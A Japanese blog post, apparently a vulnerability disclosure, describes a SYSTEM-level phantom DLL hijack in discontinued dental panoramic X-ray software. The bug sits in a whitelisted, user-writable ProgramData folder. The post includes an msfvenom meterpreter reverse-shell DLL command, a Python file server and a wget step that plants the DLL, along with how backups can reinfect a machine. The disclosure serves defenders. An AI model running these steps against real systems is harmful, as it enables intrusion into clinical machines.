
パノラマ歯科画像ソフトウェアのステルス的な権限昇格脆弱性
当初、これは歯科用X線装置ソフトウェアにおけるDLLプロキシングに関する記事になる予定でしたが、調査中に偶然あるDLLを見つけ、再確認した結果、権限昇格の脆弱性を発見し、CVEを取得しました。
私が技術者としてのキャリアの初期には、閉鎖される前のある歯科用X線装置メーカーでテクニカルサポートを担当していました。当時、現場で発生するバグを覚えており、そのソフトウェアに脆弱性がないか調べてみるのは良いアイデアだと考えていました。現在もそのソフトウェアが使用されているため、ソフトウェアサポートの仕事を離れた今、何か面白いことができないかと思い立ちました。少し前にサイバーセキュリティの勉強を始めた頃、そのソフトウェアにいくつかのハイジャック可能なDLLがあったのを覚えていて、DLLプロキシングを試し、ソフトウェアの機能を維持したまま悪意のあるDLLを実行できるか試してみることにしました(非常にステルス性が高い方法です)。以下はそのプロセスと、理論上OSのクリーンインストールや再インストール後も生き残る可能性のある権限昇格の脆弱性を偶然発見した経緯です。この情報がブルーチームの方々の役に立つことを願っています。
注意すべき点は、このソフトウェアはもはやアップデートを受けていないことですが、現在でも米国内でX線装置が使用されているため、この脆弱性には依然として潜在的なリスクがあります。ソフトウェアはこちらからダウンロードでき、マニュアルはこちらにあります。もう一つの注意点は、このソフトウェアが使用されている場合、実行されるプロセスと以下の場所がほぼ確実に使用中のEDR/AVでホワイトリストに登録されていることです。このことはソフトウェアマニュアルの24ページにも記載されています。本稿では、同様にこれらの除外設定を追加し、すべての歯科医院でのインストール環境を再現します。

ソフトウェアのインストールと除外設定が完了したら、プロセスモニタを起動して検索を開始します。以下のフィルタを追加し、サービス内の「CCS Service」を再起動します。
設定が反映されると、このソフトウェアにはハイジャック可能なDLLが多数存在することがわかります。同じDLLに対して「NAME NOT FOUND」と「SUCCESS」が異なる場所で連続して表示されるのが確認できます。ある日、プロキシングに適したDLLを探してスクロールしていると、ほぼ一番下まで来たところで目に留まるものがありました...

まさか...本当だ。これはSYSTEM権限で呼び出されるファントムDLLであり、その場所はユーザーが書き込み可能な領域です。 つまり、このDLLはプロキシングには適していません。なぜなら、マシン上のどこにも実際のDLLが存在しないため、Windowsは定義済みのフォルダセットを特定の順序で参照してDLLを呼び出そうとします。
今回のシナリオでは、5番目の場所は C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll であり、この場所はすべてのユーザーに対して読み取り、書き込み、実行権限が与えられています。さらに、この場所は C:\ProgramData\Ajat\ の子フォルダであり、このソフトウェアが使用されているすべての環境でホワイトリストに登録されているはずです。

このテストのネットワーク設定は以下の通りです。
まず、標準的なバニラのmeterpreter DLLを作成します(AVを気にする必要はほとんどありません)。次に、転送用のHTTPサーバーを立ち上げます。
## msfvenomでDLLを作成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## pythonのhttpサーバー
python3 -m http.server 80
Windows側に戻り、標準ユーザーアカウントに切り替え、PowerShellを開いてdatastorフォルダに移動し、次を実行します。
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

すべてが正しく行われていれば、エクスプロイトをトリガーするにはコンピュータを再起動するだけで十分です(通常のユーザーでも再起動は可能であり、CCS Serviceの再起動でもトリガーされます)。

成功!!!
datastorの場所の重要な点は、コンピュータが何らかの理由でワイプまたは交換され、ソフトウェアが再インストールされる場合にバックアップすべき2つの場所のうちの1つであることです。calibフォルダの内容が失われると、技術者が来てX線装置の再較正を行う必要があります。datastorファイルが失われると、まだ保存されていない最新のX線画像が失われるため、この場所のバックアップはやや任意です。この場所にマルウェアが存在するため、バックアップされたdatastor(マルウェアと最近撮影されたX線画像が含まれている)の内容を新しいコンピュータに復元した場合、誤って再感染する可能性が理論上あります。このことはソフトウェアマニュアルの2ページに記載されています。
